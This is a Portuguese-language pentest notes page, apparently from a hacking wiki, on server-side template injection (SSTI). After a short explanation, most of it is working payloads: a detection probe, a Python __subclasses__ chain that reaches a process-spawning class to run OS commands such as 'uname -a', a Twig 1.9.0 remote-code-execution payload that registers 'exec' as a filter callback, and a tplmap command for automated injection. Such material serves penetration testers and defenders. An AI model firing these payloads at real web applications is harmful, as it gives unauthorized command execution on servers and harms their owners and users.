SSTI

Ataques SSTI (Server Side Template Injection), tem como alvo, aplicativos Web que usam modelos (arquivos TPL) para tornar as páginas da Web mais dinâmicas. A injeção de modelo no servidor ocorre quando a entrada do usuário é incorporada a um modelo de maneira insegura.

Podemos testar se o alvo é vulnerável a SSTI, enviando comando no formato {{}}. Supondo que determinado sistema irá pegar o valor do parâmetro GET para inserir um template, podemos passar o seguinte payload como parâmetro:

https://site.com/{{'test'*7}}

Caso tenho a execução do mesmo, ou seja, escrever 7 vezes a palavra test, significa que o alvo está vulnerável. Então podemos fazer algo mais interessante, retornar uma lista de funções disponíveis que podemos acessar. Repare que abaixo estamos passando o índice 1, mas as vezes é preciso alterar esse número para conseguir buscar a lista de funções.

https://site.com/{{''.__class__.mro()[1].__subclasses__()}}

O retorno deverá ser uma lista (array) de classes separadas por espaço, então quebre-o com espaços para descobrir qual o index da classe. Depois de descobrir isso, acesse o alvo com o seguinte payload.

https://site.com/{{''.__class__.mro()[1].__subclasses__()[<number_index_class>]}}

Supondo que queiramos acessar fopen, podemos inserir comandos no sistema operacional dos seguintes modos (altere os valores dos indexes):

https://site.com/{{''.__class__.mro()[1].__subclasses__()[123]("uname -a", shell=True,stdout=-1).communicate()[0]}}
https://site.com/{{''.__class__.mro()[1].__subclasses__()[123](["uname", "-a"],stdout=-1).communicate()[0]}}

Twig

A versão do 1.9.0 do Twig está vulnerável a SSTI e, consequentemente conseguimos um RCE.

{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('<command>')}}

Para verificarmos se o Twig apresenta erro no eval, podemos utilizar o payload {{_self}}

TPLMap

Ferramenta que busca por vulnerabilidades de SSTI. Sua sintaxe e usabilidade é bem semelhante ao SQLMap.

tplmap.py -u http://www.site.com.br/?id=*

Note que no final do URL tem um *, indicando ao TPLMap que ali será o ponto de injection.

Sites

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
https://portswigger.net/research/server-side-template-injection

Last updated